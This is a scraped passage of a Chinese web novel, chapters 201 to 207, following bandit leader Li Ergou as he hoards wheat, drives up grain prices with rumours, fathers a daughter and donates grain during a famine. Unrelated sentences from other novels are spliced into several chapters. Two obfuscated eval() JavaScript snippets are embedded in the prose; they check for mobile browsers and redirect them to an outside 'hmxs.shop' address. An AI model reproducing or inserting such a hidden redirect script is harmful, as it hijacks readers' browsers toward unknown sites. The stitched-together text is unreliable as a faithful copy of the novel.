李二狗教诲完张二驴,直奔清风寨。 几日不见,他太想李素文了。 不过达到清风寨之后,他还是克制着自己内心的欲望,召集陈老三等人到议事厅开寨务会,男人当以事业为重! “老三,说说你建粮囤的进展情况。” 陈老三显得底气十足,说道:“狗哥,我办事你放心,你不在的这几天我带着兄弟们日夜赶工,已经建好十座,剩下的保证三十天之内建完。” “老三,干得不错,不过进度还得加快,我只能再给你二十天的时间。” “二十天?狗哥,你以为建粮囤是建鸡窝啊?没有那么快!” “老三,能不能完成你给个准话,不能的话我换人。” 陈老三只能硬着头皮答应下来。 “好,保证完成任务。” 李二狗又看向宋孬蛋。 “孬蛋,说说你购买粮食的进展。” “狗哥,这些天前前后后差不多购买了三十万斤小麦。” 李二狗粗略算了算,一麻袋小麦在二百斤左右,三十万斤小麦差不多就是一千五百麻袋小麦。 “孬蛋,太少了,还得继续买。” “狗哥,不少了,再说三哥这粮囤还得二十天才能建好,把小麦买来也没有地方储存啊,要是一下雨可就全泡汤了。” “老三,你只管买粮,储存的事我来想办法。” “那再买多少?” “至少一百万斤!” 宋孬蛋认为李二狗肯定是疯了! 第201章 胆大骑龙骑虎 “狗哥,一百万斤小麦?咱们弟兄几千年也吃不完啊!” “孬蛋,你只管买,其他的事不用操心。” 只要是李二狗认定的事情,寨务会没有不通过的。 散会后,宋孬蛋找到李二狗。 “狗哥,我还是建议咱们谨慎一点,如果把山寨的钱全部换成粮食,粮食要是再砸在手里,咱们可就没有任何退路了。” “孬蛋,胆大骑龙骑虎,胆小只能骑个鸡屁股,我这次就是要干票大的,如果干成了,咱们兄弟可以吃喝嫖赌几辈子。” 宋孬蛋很想问问李二狗,如果要是干砸了怎么办? 他当然不敢问! “好,我这就安排人下山去买。” “等一下,孬蛋,我刚才又想到一个主意,你不是担心咱们购买的粮食没有地方储存吗?你这样,除了省城之外,你在全省东西南北四个方向选择四个县,县与县之间的距离一定要适中,在每个县里租几个大仓库用来储存粮食。让老三、嘎子、石头来帮你,你们几个分别负责一个县,带领兄弟们买粮,省城那边交给我,你们不用操心。” “好的,狗哥,我现在就去安排。” “等一下,记住,每个县在二十天之内必须收购至少一百万斤粮食,谁完不成,领头的滚蛋,就不要再回山寨了。” “狗哥,要是购买这么多粮食,咱们山寨的钱可不够啊。” “钱的事我来想办法,到时候我会安排人把钱送给你们。还有,二十天之后,你通知老三他们几个领头的到省城百乐门大舞厅,我会在那里等你们。” 安排妥当之后,李二狗赶紧回到家,李素文早已知道李二狗回到山寨,正在门口翘首以待。 小别胜新婚,李素文眉目传情,嘴角含笑,宛如春日里破土而出的嫩芽,全身洋溢着荷尔蒙的气息。 “二狗,你回来得正好,我想要个孩子。” 李二狗崩溃了,李素文现在完全把自己当成了一条种狗。 忙活完李素文的事,李二狗回到胡家大院。 他借口胡士高在医院有事,再次去了省城。 静雯见到李二狗,自然是喜上眉梢。 “静雯,咱们贸易行的仓库能储存多少小麦?” “差不多五百万斤吧。” “现在储存多少了?” “差不多有一百万斤,怎么了?” “剩下的四百万斤我已经帮你买完了,你付钱就行。” “二狗,你开玩笑吧?四百万斤?你可别逗我了。” 李二狗便把自己的计划全部告诉了静雯,静雯开心地跳到李二狗身上。 “二狗,你实在是太厉害了,我爱死你了!我要给你生个狗崽子。” “现在?” “现在!” 李二狗和静雯度过了没羞没臊的二十天快乐时光。 二十天后,百乐门大舞厅。 陈老三、陈嘎子、张石头先后赶到,只有宋孬蛋路途遥远,还没有到。 陈老三作为熟客,对舞厅内的一切自然是见怪不怪,倒是陈嘎子和张石头眼睛都不知道放在哪里。 “嘎子,石头,感觉怎么样?” 陈老三跷着二郎腿,以过来人的身份想调理调理他们一番。 陈嘎子眼睛盯着舞池里一个臀部丰满的女人,说道:“嘿嘿,做个城里人真好。” “是啊,是啊,我也想做城里人。”张石头附和道。 陈老三奚落道:“看你俩没见过世面的样子,我真替你们感到害臊。” 这时,一个穿着红色旗袍的女服务员走过来,低头问道:“三爷,您来了,我让兮兮过来陪您?” 陈老三咧着大嘴嘿嘿一笑,说道:“好好,再叫两个姑娘过来陪陪我这两位兄弟,来两瓶XO。” “请稍等。” 女服务员扭着纤细的腰肢走了,张石头的眼睛一直盯着她晃动的臀部。 “石头,你狗日的眼睛安分点,别给老子丢人。” 张石头赶紧收回自己的目光,鼻血流了出来。 “哎呀,我草,和你们出门,真是丢不起这人。” 说话间,兮兮走了过来。 “三哥,您可有日子没来了。” 说着就坐到陈老三大腿上,旁若无人地啃了起来,一边啃还一边晃动着身子。 陈嘎子和张石头都看呆了,这样的好日子他们一天也没体验过。 女服务员领着两个舞女走过来,舞女们照例先介绍自己。 陈老三只顾着和兮兮互啃,舞女们介绍完自己,陈嘎子、张石头并不知道该做什么,气氛一时有些尴尬。 女服务员把酒倒满,对陈老三说道:“三哥,您看看还有什么需要吗?” 陈老三这才停了下来,兮兮整理一下衣服,坐在陈老三身旁,然后很自然地依偎在他身上。 陈嘎子和张石头看得面红耳赤,而兮兮却对刚才发生的一切没有丝毫的羞涩感。 “你俩满意吗?”陈老三指了指站着的两个舞女。 “满意,满意。”两人几乎同时说道。 “你们随便吧,想要谁要谁,我和兮兮上楼去聊点私事,你们该干什么干什么。” 陈老三说完就搂着兮兮上了楼。 陈嘎子选了丰满的,张石头选了苗条的。 舞女们虽然知道他俩是乡下人,但她们更知道陈老三的身份,自然不敢怠慢他带过来的兄弟。 她俩用尽浑身解数,把陈嘎子和张石头伺候地舒舒服服。 宋孬蛋赶到时,天色已经发黑,他前脚刚到,静雯挽着李二狗也来到百乐门大舞厅。 大家来到二楼包厢,李二狗把陈嘎子和张石头介绍给静雯。 看着美丽动人又风情万种的静雯,两人对李二狗佩服的五体投地。 自古以来,能成大事者身边都不缺乏美女。 如果连美女都搞不定,怎么能干成大事? “大家先汇报一下各自的情况,都完成既定目的没有?” “我完成了。” “我完成了。 “我也完成了。” “我也是。” “好,从现在开始,停止收购,任何人不允许再收购一粒小麦。” 宋孬蛋说道:“这两天收粮越来越困难,粮价也涨得厉害,不知道什么原因,各地都在传小麦要涨价,省城有人在大量收购小麦,大家现在都捂粮不卖,待价而沽。” 陈老三接话道:“是啊,也不知道是哪个王八蛋传的,让老子找到非得打断他的腿。” 李二狗真想上去撕碎陈老三那张臭嘴。 第202章 卖跌不卖涨 “你们几个明天回去之后,让手下兄弟们立马把话放出去,就说省城有老板正在高价大量收购小麦。” 宋孬蛋不解地问道:“狗哥,你这是要做什么?” “你先别管做什么,这些待会我会告诉你们,我问你,现在县里一斤小麦卖多少钱?” “已经涨到五分钱一斤。” “我那里已经涨到六分了。” “现在不是多少钱一斤的问题,是大家都捂着粮不卖。” 王卿瑶这会儿还没吃饭,肚子饿得咕咕叫,要不是刺客那是,她早该酒足饭饱,就剩思银欲了。 那丫鬟在旁边悄声声地说着,但是也是毫无办法的,虽然是有点难受,可是现在看到这样的状况仍然是没有办法负责。 剩下金阳银月两位公主以及卫雨时,银月公主忍不住一巴掌甩在了卫雨脸上。 罗伊斯环视了一圈被翠绿藤蔓缠绕的酒吧,微微皱起了眉头,随后就把目光投向了阿黛尔和薇娜塔。 阴世特殊环境而导致经年累月的灵体鬼怪积累,已经到了无法估量的数值。 好在白珺椿提前预警了,几人除了倒吸了一口凉气,身子微微后仰,倒也没有过分失态。 周宇没说的是,自己在单位这么多年,看惯了好多家属没事就吵吵闹闹的,无非就是他们没有时间陪伴,当梁柔说出这样的话时,周宇除了感动之外,还有庆幸。 “我不是敢,是我已经打了,梁霜,我看你手是不想要了吧。”梁柔阴森森的说道。 这时,楚夏才回过神来,他发现,刚刚满店的客人,如今只剩他一个。 为首的那名魂师被唐天抓住双腿狠狠的砸在了地面之上,整片大地陡然一震。 “霍叔,瞧你说的,有什么话你但说无妨,是不是关于老村长的?”刘星皓已经在心中猜到了七八分,霍叔要说的,肯定是关于这个的。 “实事求是呗,做到问心无亏就可以”夏建提高了声音说了这么一句。 原来大于越耶律曷质和萧屈烈比斗良久,内伤再次发作,难以长久支撑“疾影灭绝神功”第三重境界,身法之中难免出现瑕疵,竟是被萧屈烈“碧血刀法”近身。 金强内心纳闷,自己的那一拳多大的分量,自己最清楚,就算是甄好在软肋被熟铜双锏刺中,加上自己的那一拳,虽然不至于死去,也必须失去了行动的能力。 奶奶的,本来想威吓一下,反响还真不是一般的大,爷是来救你们的好不,真他奶奶的愚蠢、笨蛋加三级。 听到龙洛所说叶韬凝眉道:“这样想来青青姐姐的确是太引人注目了,芷茹神帝能救得了她一次总不能次次救她”。 原来是她!只不过她现在不叫秋晓,叫秋婵。李思修保荐她做了奈何庄旅游局局长。因官级不够,不能学习画皮,前些年请神医李时珍给她做了袪胎记及牙齿修复手术,如今看起来,也是风情万种的大美人。 “龙冢的重要性想必大伙儿都很清楚吧!”虽然身居金钱帮,但是司马浩然却是没有任何惊慌失措,说话反而是底气十足的样子。 有了龙洛与龙青青的加入,那龙爪突然出现一丝裂痕,霎时间龙爪破碎,巨剑势如破竹向大长老攻去,大长老眉‘色’一动,一掌拍出,只见一道黑‘色’巨掌挡在身前。 “要想好好活着,跟谁都不成。”她说这句话的神情,像极了我的母亲。而且当年,母亲说过完全相同的话。恍忽间,历史似在重演。虽然桐儿的表情冷静而漠然,可她的心情,我却感同身受。 第203章 我喜欢女孩 和吴有德分析的一样,在政府出手干预之后,加上吴有德贸易行停止高价收购,小麦价格开始一路下跌。 各地粮商看到小麦价格下跌之后,纷纷开始清仓大甩卖。 买涨不买跌,小麦价格越低,卖的人越多,买的人越少,很快小麦价格便跌回起点。 李二狗又安排陈老三等人开始收购小麦,收购的小麦统一储存在省城吴有德商贸行的仓库里。 李二狗没有改变当初的判断,今年各地普遍干旱,夏粮减产已是板上钉钉的事实。 这一进一出,李二狗赚得盆满钵满。 时光飞逝,很快就到了麦收时节。 小麦不仅仅是减产,很多地方是绝产,颗粒无收! 胡家大院。 “啊啊啊……” 李二狗满头大汗,急得不停地搓手。 “再用点力……” “啊啊啊……,疼,好疼,疼死了……” “大奶奶,您再用点力,马上就好了。” “啊啊啊……我不行了……” 一个老婆子从屋里走出来,同样是满头大汗。 “李管家,孩子的胎位有点不正,大奶奶痛得厉害,您看是不是请个大夫过来?” 李二狗早有准备,冲着张二驴喊道:“二驴,快把大夫叫进来。” 张二驴很快便带着一个大夫跑了进来。 老婆子面露为难之色,说道:“李管家,真的让他进去?” “这都什么时候了,哪还管得了这些?出了事我担着。” 大夫进去之后,里面除了于兰芝的喊叫声,还是迟迟没有其他动静。 “李管家,大奶奶已经没有力气了,我开了一副药,您马上安排人熬出来,越快越好。” 一个老婆子接过药包,赶紧去厨房熬药。 正在这时,张玲玉走了进来。 “大姐怎么样了?怎么里面没动静了?我生福儿那时候,半袋烟功夫就生出来了,可不像大姐这么费劲。” 李二狗不想理她,这时候还说这种风凉话。 李二狗算是彻底看清了张玲玉的真实面目,她是一个精致的利己主义者,心里只有自己。 张玲玉说了半天,根本没有人和她搭话,脸上有些挂不住。 “李管家,真是看不出啊,大姐生孩子,你比老爷还紧张,等老爷醒来肯定会好好感谢你,呵呵。” “二奶奶,如果是你生孩子,我一样紧张。” 张玲玉气得胸脯子上下波动。 “李二狗……你……,哼!” 豪门深闺出怨妇,张玲玉现在就是一个怨妇,怨天怨地怨一切,就是不怨自己。 “哇哇哇……” 屋内传出一阵婴儿的啼哭声,李二狗激动地泪流满面。 李二狗的失态让张玲玉彻底认清了一件事,这个孩子肯定是李二狗的。 “李管家,恭喜恭喜,”张玲玉靠近李二狗,低声说道:“恭喜你喜当爹。” 李二狗根本不在乎张玲玉的态度,她知道又能如何? 胡福是谁的儿子,她好像已经忘得一干二净。 看李二狗根本不在意,张玲玉气得直跺脚,但也毫无办法,现在的胡家大院早已不是当初的胡家大院。 胡士高半死不活地在医院躺着,自己生的儿子不仅傻,还不是胡家的种,如果李二狗和于兰芝联手,自己根本不是对手。 “李管家,你放心,我不会告诉任何人的。” “那我谢谢二奶奶了。” “二狗,有空的时候去我院里坐坐,我有很多话想和你说。” 张玲玉撒起了娇,李二狗还很吃这一套。 作为第一个让李二狗惊艳的女人,张玲玉在他心里一直有一个位置。 “等我忙完这阵就去看你。” 这时候,一个老婆子领着大夫走了出来。 “李管家,大奶奶生了个千金小姐。” 张玲玉脸上立即绽放出喇叭花一样的笑容。 “恭喜大姐啊,女儿和娘贴心,大姐以后可有福了。” 李二狗同样很开心,女儿是爹的小棉袄。 由于有外人在场,李二狗不便进入于兰芝卧室。 张玲玉笑道:“我替李管家进去看看咱们胡家大小姐,长得像不像大姐,嘻嘻。” 李二狗装作没事人一样,吩咐张二驴送走大夫,又嘱咐几个老婆子照顾好于兰芝。 张玲玉进入卧室,看到于兰芝躺在床上,旁边放着新出生的女儿。 “大姐,恭喜你啊,给老爷生了一个这么漂亮的大小姐,怎么看怎么随你。” 于兰芝生了一个女儿,最开心的莫过于张玲玉,最不开心的当属于兰芝。 她一直以为自己肚里怀的是男孩,谁承想却是个女孩,女孩是无法继承胡家大院的。 于兰芝没有理会张玲玉,此时她没有力气和张玲玉斗嘴,默默地闭上了眼睛。 张玲玉又胡乱说了一通,于兰芝始终不理她,她自己也觉得无趣,便说道:“大姐你好好休息,我先走了。” 夜幕降临,月光如一层透明的薄纱,朦朦胧胧地照在胡家大院每一个角落。 李二狗站在于兰芝门前,清风拂面,不禁潸然泪下。 “李管家,你什么时候来的?” 迎春突然从屋内走出来,看到李二狗,吓得差点把手里的脸盆摔在地上。 李二狗怕被迎春看到自己失态,赶紧抬头看天,说道:“好像要下雨了,我……我来看看大奶奶。” 迎春抬头,看见满天繁星。 “屋里没人,你进去吧,我在外边看着。” “谢谢你,迎春。” 李二狗一低头,进了屋。 于兰芝正躺在床上逗弄女儿,她已听到李二狗和迎春说话的声音。 “二狗,你快过来看看咱们的女儿,我觉得她长的好像你。” 李二狗走到床前,没有先去看女儿,而是深情地凝视着于兰芝。 他抚摸着她有些憔悴的脸颊,柔声说道:“兰芝,真是辛苦你了。” 于兰芝感动的涕泪涟涟,此前所有的辛苦付出在这一刻都得到了回报。 “二狗,对不起,没能为你生个儿子……” 李二狗用手指轻轻按在于兰芝唇上。 “不要说对不起,我喜欢女孩,你看她长的多像你,尤其是那双乌黑明亮的眼睛。” “你喜欢就好。你快看,快看,她在对着你笑。” 第204章 我要给你磕一个 于兰芝抱着女儿,依偎在李二狗怀里。 “二狗,你喜欢咱们女儿吗?” “我当然喜欢啊,你看她多漂亮多可爱。” “那你喜欢我还是她?” “你们俩我都喜欢。” “嘻嘻,就知道你会这么说,我才不会和她争,二狗,你给咱们女儿起个名字吧。” 李二狗想了想,说道:“小时候我背过一首唐诗,印象特别深刻,满天星斗晓来收,万丈瑶台梦里游,我看 袁洪在营帐外听了一会儿,待众人散去,他才悄无声息的原路回元州。 魂玉身为魂族的神品血脉,天赋和萧薰儿一样,而年纪却跟古青阳差不多,所以实力却是比萧薰儿还要高。 “没有。”语若想张大嘴巴否认,胜捷一个巴掌捂住了她的嘴巴,不让她说话,两人紧贴在一起也是亲密无间。 他从空间戒指里取出一枚药丸,那是一枚能瞬间激发人的潜力、让人立即就恢复到最佳状态的药,很珍贵,以南域赵家的豪富底蕴,他这次出门也只带了两颗。 “属下倒觉得或许另有他人!”贪狼星君强忍着伤势,将心中的看法道出。 就算要休息,要吃饭,但也要留人看着车,而刘德光就担负起了这个责任。 只见许婷抱着林杠,张禾,寻双等人,还有章甘也在一旁满脸的愧疚。 那些作战指挥室里的人没有一个拔枪,他们除了惊恐和茫然,更多是被抛弃的无奈和愤怒。 很多人明显是不愿去相信的,但显然,他这突如其来的一剑之中,众人的的确确是感受到了有法则之力交织在内。 众多男子看向白歌的目光满是不可思议,一个个不禁纷纷倒吸了一口凉气。 谢鲤檬不会特别固执的认为,每个世界的他都会保持这一张脸,即便是之前从来没有过的情况,也会有过发生。 放下武器,意味着投降,禁军并没有发动进攻,只是迅速把黑衣人控制住。 墨钰涵平日里还会督促辛雨学习,上班的时候就给辛雨制定了一套学习打卡任务,有奖活动。 他准备等一会天亮之后,去找一趟马校长,汇报一下在虚拟世界的所见所闻,并征询一下他的意见。 阎雪莹知不知道这件事情,是知道还是不知道,一旦知道,那就是同谋是合伙。 或许也是这么一点的特权,让朱宁觉得,自己在这王府里面的煎熬,还是可以看到一点的希望的。 然而直到现在,姜天明也不清楚其中的真相,但不可否认的是,因为这些缘故,让他对台上这人的印象并不是很好,脸上的笑容都淡去了很多。 也算是借着这件事情敲个警钟,并不是说人家不给机会,而是给了,你们一个一个跟瘫痪了似的,根本就没有军功,那就怪不了陛下了。 为了雪耻,秦武墨苦苦哀求自己师尊,赐予他一枚雪龙丹,帮助他冲击神通境的瓶颈。 而这一次的光刻胶项目,就是他们围猎华夏龙腾网络科技的证据之一。 只不过让所有人都没想到的是,在这种铁证如山、证据确凿的前提下,对于洪启亮的审判前前后后竟然拖沓了长达三年之久。 没记错的话,上一次陆天尊在江炎面前唱歌的时候,陈海川和邓海几乎全程昏迷,现在给他们一个重新建立认知的机会。 不过,家里也不冷清,二哥已经生了七个孩子,都是送回来,满满一屋子。 当晚到家,我饭都不想吃,认真接受治疗后头一回破戒,洗漱完闷头就睡。 第205章 心目中的慈父 不出所料,李二狗提出的成立清风寨娘子军和在山寨建设福利住房的建议在寨务会上得到全票通过。 会后,大家纷纷表示要给李二狗磕一个。 宋孬蛋提议道:“狗哥,我建议在清风寨议事厅门前的广场上给你塑个金像,兄弟们每天三炷香对您顶礼膜拜。” 陈老三骂道:“孬蛋,你他娘天天就会出些骚主意,狗哥在山寨还一直蒙着面,你见过不露脸的塑像吗?” “嘿嘿,我这不是表达对狗哥的尊敬吗?狗哥干的这件事是造福山寨全体弟兄们的事,我们怎么感谢他都不过分,他就是我们心中的太阳。” 陈嘎子说道:“什么太阳?狗哥就是我心目中的慈父,我现在感觉全身充满了力量,切身体会到努力干好土匪的意义。” 张石头也附和道:“是啊,是啊,跟着狗哥干有奔头,这辈子我跟定狗哥了。” 听着大家的赞美,李二狗内心很享受,嘴上却说道:“好了,大家都别扯淡了,孬蛋,你赶紧安排人把消息放出来,一定要严把入口关。” “放心吧,狗哥,保证让你满意。” “我满意有个屁用?是你们找媳妇,你们满意才行。” 陈老三则显得有点郁闷,他一直喜欢望冬,可望冬一直对他爱搭不理。 这次山寨成立娘子军,按照自己在山寨的地位,除了李二狗,谁敢和他抢? 可如果就此放弃望冬,李二狗会怎么看自己?**会怎么看自己?他们会不会觉得自己是一个见异思迁的男人? 李二狗倒是并不在意这些小节,但是得罪了**,她枕边风一吹,自己会不会在清风寨就靠边站了? 可如果错过这次首选的机会,别人挑剩下的女人,他又怎能心甘?! 陈老三一撅腚,李二狗就知道他要放什么味的屁。 望冬和陈老三的事情,李二狗也有责任。 以望冬的性格,只要自己或者**说句话,她肯定会无条件答应嫁给陈老三。 但他一直想给望冬一个自由选择婚姻的机会,可望冬却一直是一副不主动不拒绝的态度。 **问过她几次,她每次都说不着急,再等等。 李二狗决定今天再找望冬谈一谈,让她给个痛快话,男女之间的事情最忌讳的就是拖拖拉拉。 “老三,建房子你有经验,这次住房的事还是由你负责。住房问题,既是咱们山寨的民生问题也是发展问题,关系兄弟们的切身利益,更关系山寨和谐稳定的大局,你一定要严把质量关,决不能出现豆腐渣工程。” 陈老三保证道:“狗哥,你就放心吧,我一定把这批住房建成百年工程,让狗哥放心,让兄弟们舒心。” “你**就会拍彩虹屁,干不好我拿你是问。” 李二狗回到家,**正坐在门口绣花。 经过一段时间的折腾,**一直怀不上孩子,也就彻底**心。 “素文,望冬呢?” “她去后山挖山参了。” 一次偶然的机会,望冬在后山挖到一棵老山参,从此就迷上了挖山参。 “山参哪有那么容易挖到,我看望冬是有些魔怔了。” “也不能怪她,在山寨待着,吃喝都不用自己动手,我都快闲出病来了,何况是她。” 李二狗笑道:“等娘子军成立了,你们就有得忙了。” **对李二狗成立娘子军的目的心知肚明,笑道:“等过个一年半载,她们就都在家带娃了,到时候还得闲下来。” 提到带娃,又勾起了**的伤心事,眼泪扑簌簌掉了下来,滴到刚绣的一只鸳鸯上,洇了一大片。 “于兰芝,我恨死她了!” 李二狗心里一惊。 当年**在胡家大院怀孕时,正是于兰芝安排迎春送了一盘放了夹竹桃的点心,才导致她流产,从此伤了身体,无法再生育,她恨于兰芝也在情理之中。 可现在于兰芝刚刚给李二狗生了一个女儿,以后她们将如何相处? 李二狗一想到这就头疼,只能先搁置争议,以后的事只能以后再说。 “素文,我和你说点事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872080|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李二狗及时转移了话题,劝慰不如转移话题,这是李二狗的经验之谈。 **擦了擦眼泪,问道:“什么事?” “还是老三和望冬的事,你再问问望冬,她要是真不愿意,就明确告诉人家老三,老这样钓着人家算怎么回事?” **是理解望冬的,她内心深处是看不上陈老三那种憨头憨脑又不懂得情趣的男人。 但陈老三是李二狗的好兄弟,这桩婚事又是李二狗亲自介绍的,望冬作为**的丫鬟,她实在不敢直接拒绝陈老三。 **内心是希望望冬嫁给陈老三,生逢乱世,又落草为寇,陈老三无疑是她最好的选择。 “等她回来我再问问她吧。” “这次可不能再遮遮掩掩了,行就是行,不行就是不行,别最后耽误了人家老三也耽误了她自己。” 正说话间,望冬回来了。 “你先进屋,我来和她说。” 李二狗便笑着进了屋,**招呼望冬在其身边坐下。 “怎么样?挖到山参了吗?” 望冬尴尬地说道:“你看,就挖到这么一棵小山参,等晚上我给你和狗哥熬人参枸杞汤喝。” “山参是稀罕物,不容易挖到的。” 李二狗在屋里听到她们的对话,心想,清风寨后山有大片的闲地,为何不种上山参呢? 吴有德的医药公司需要大量的山参,这东西在城里可是稀罕物。 “望冬,有件事我想再征求一下你的意见。” “素文姐,什么事?” “你和老三的事,你到底是怎么想的?” “我还小,暂时还不想考虑这件事。” 望冬两手握在一起,显然内心很紧张。 “望冬,以前在胡家大院,你是我的丫鬟,虽然我一直没有把你当丫鬟看待,可毕竟地位有别。现在我们都离开了胡家大院,你就是我妹妹,我既不会勉强你,也不想委屈了你,今天你就给我一句实话,你是不是看不上老三?” 望冬低着头没有说话,脚上的绣花鞋在地上搓出一个圆圈。 第206章 阎王好见,小鬼难缠 “你不要担心你狗哥那边,他同样不会勉强你,我们都希望你能幸福。” “素文姐,我愿意。” 在现实面前,望冬还是选择了屈服。 嫁汉嫁汉,穿衣吃饭,望冬是个聪明女人。 在清风寨,她如果拒绝了陈老三,谁还敢娶她? 李二狗不会娶她,其他人不敢娶她,她要想嫁人,只能离开清风寨。 可如果离开清风寨,乱世之中,她一个柔弱女子,又能嫁给一个什么样的男人? 如果连生存下去都有困难,还谈什么风花雪月? 有时候人得认命! “望冬,太好了,我会给你准备一份丰厚的嫁妆。” “素文姐,我不想离开你。” “傻瓜,你即使出嫁了,大家还是会住在一起,抬头不见低头见的,我也舍不得你啊。” 李二狗从屋里走出来,笑道:“望冬,嫁给老三,你以后的日子会比蜜还甜,你放心,他要敢欺负你,我就阉了他。” 望冬羞得满脸通红,**嗔骂道:“你这张嘴上就没个把门的,人家望冬还是个姑娘。” 李二狗嘿嘿一笑,说道:“我这就去把这个好消息告诉老三,他准得乐出屁来。” 清风寨要招女人组建娘子军的消息在江东县炸开了锅。 这年月,有得是走投无路的姑娘。 到清风寨当土匪总比在家饿死强吧?总比卖给地主老财当泄欲的工具强吧?再说地主老财也买不了那么多走投无路的女人。 报名人数远超预期,短短两天时间就招了五十多个姑娘,吓得宋孬蛋赶紧叫停了招人。 清风寨娘子军正式成立,**任队长,望冬任副队长。 第一天训练时,全山寨的男人都围着她们,评头论足。 “那个好,你看那**,以后肯定能生儿子。” “我喜欢那个,你看那张鹅蛋脸,多稀罕人啊。” “那个个高的我要了,谁他娘都不能和我抢。” …… 一个胆大的土匪仗着是陈老三的亲信,径直走到一个女人面前,色眯眯地问道:“姑娘,我稀罕你,你嫁给我当婆娘好不好?” “哈哈哈……” 看热闹的土匪起哄道:“奥,奥,奥……二柱子丢人喽,还想老牛吃嫩草,人家姑娘根本看不上你。” 二柱子被嘘的面红耳赤,一把抓住姑娘的手。 “你到底愿不愿意,给个痛快话啊。” 女人们初来乍到,本来就心有不安,面对这群眼冒绿光的男人,吓得全部跑回了宿舍,有几个胆小的竟哭哭啼啼闹着要下山。 **第一天当队长,也没有带队伍的经验,被气得直跺脚也不知如何是好。 不得已,李二狗安排寨务会颁布了一条命令。 六个月之内,任何人不许谈对象,否则驱逐出山寨,全山寨男人那颗躁动的心才算暂时平息下来。 雨终于还是下了,而且一下就是不停,百姓们只能眼睁睁地错过授粉期。 大雨过后更加干旱,庄稼枯萎,秋粮绝收。 与此同时,蝗灾也接踵而至。 江东县境内大群飞蝗,遮蔽天空,东西达十余里宽,由北向南飞去,一时月色为之笼罩,暗淡无光。 漫天遍野的蝗虫将本就所剩不多的粮食啃了个精光。 秋,宛如风一般地飘来,无声无息。 大批灾民携老扶幼,开始沿街乞讨,小麦价格翻了两倍之多。 “二狗,多亏了你,咱们胡家大院提前储存了这么多小麦,咱们现在是不是趁着价格高,卖出去一部分?” 李二狗眉头紧锁,说道:“兰芝,正好有个事想和你商量一下。” “什么事?” “我想捐一部分粮食给县政府,这样政府可以开个粥棚,救济一下那些流离失所的百姓。” 李二狗前期扰乱粮食市场,哄抬小麦价格,趁机赚了一笔,他这才意识到自己当初是多么的无耻! 粮食关乎国计民生,怎么可以赚这种黑心钱!他想为百姓做点什么,弥补自己犯下的错误。 “二狗,咱们的粮食虽然看着多,但要是放在全县来看可就不多了,全县有三万多人口,咱们这点粮食只是杯水车薪啊。” “兰芝,现在把小麦卖了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872081|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,咱们确实能大赚上一笔,可挣这样的钱,我怕咱们的女儿没有福报。不管咱们这些粮食能救多少人,至少这样做咱们心里会舒服一点,你说呢?” 做了母亲的于兰芝,性格已经温顺了很多。 “二狗,你想捐多少?” “捐十万斤吧。” 李二狗本来打算在胡家大院门口开个粥棚,救济流离失所的百姓。 他思虑再三,还是放弃了那个念头。 一来是担心灾民太多,如果开粥棚可能造成争抢**件,他负不起这个责。 二来也是担心胡家大院的安全,他不想出这个风头,灾民在极度饥饿的情况下可是什么事情都做得出来。 悄悄捐给县政府,既做了好事,又不至于引人嫉妒,一举两得。 “我都听你的,你看着办吧。” 于兰芝依偎在李二狗怀里,此刻的她只想做一个温柔似水的女人。 李二狗一个人来到县政府门口。 由于县政府前些日子被清风寨一把火烧了,此时正在施工,一座气派的三层小洋楼已经拔地而起。 “站住!干什么的?” 一个站岗的警察上下打量着李二狗,如果不是他穿着一身长袍马褂,早被他一**赶走了。 “我是胡家大院管家李二狗,我找县长有重要事情汇报。” “胡家大院?李二狗?没听说过,你找县长干什么?” 李二狗当然不能告诉他自己找县长的原因,只能说道:“请老总通融通融,我找县长有重要事情汇报。” “你一个乡下土财主的管家,你们老爷都不配给我们县长提鞋,你能有什么重要事情?这里是县政府,你不要来捣乱,不然老子把你抓起来,快滚!” 李二狗刚要发火,想到自己是来做好事的,不能闹得不好看。 阎王好见,小鬼难缠。 他掏出两块大洋,悄悄塞到警察手里,说道:“老总,行个方便,我真的找县长有重要事情汇报。” 警察掂了掂手里的大洋,喜笑颜开,说道:“早这样还用费这番口舌吗?等着,我去给你打电话问问。” 第207章 乐善好施 警察拿起岗亭的电话,很快又从岗亭走了出来。 “好了,你进去吧,进了门一直走到头然后右转有一个接待室。” “谢谢老总。” 李二狗点头哈腰地走了进去。 他来到接待室门口,门开着,里面有一个秃顶的中年男子正在低头看报纸。 他本想直接走进去,想到这是县政府,还是礼貌地敲了敲门。 中年男子头都没抬,继续看报纸。 李二狗以为他没听见,又敲了敲门。 中年男子把报纸扔到桌上,一脸怒气地看着李二狗。 “我说你这人是怎么回事?没看见我正在看报纸吗?再说,门又没关,你敲什么门?” 门难进、脸难看,话难听,估计事肯定也难办。 李二狗灵机一动,说道:“领导你好,我是仙人洞镇胡家大院的管家李二狗,警察局牛局长让我来向王县长汇报一点事情。” 听到是警察局牛局长安排的人,中年男人的脸上立马绽放出迷人的笑容。 “你怎么不早说!你先在这里坐一下,我现在去向王县长汇报。” 此时的王正直正在为灾民的事忙得焦头烂额。 省政府主席夏瀚林不顾全省饥荒、民不聊生,执意不向南京国民政府上报全省灾情,导致南京方面毫不知情,一分钱的赈灾款都没有下拨。 不仅如此,正在打仗的汤司令以修建战壕,整顿军队为名大肆**,横征暴敛,不仅强征民工,克扣口粮,还大**赂之事。 这不上级刚刚给江东县额外摊派了五十万斤的军粮任务,愁得他一夜未睡。 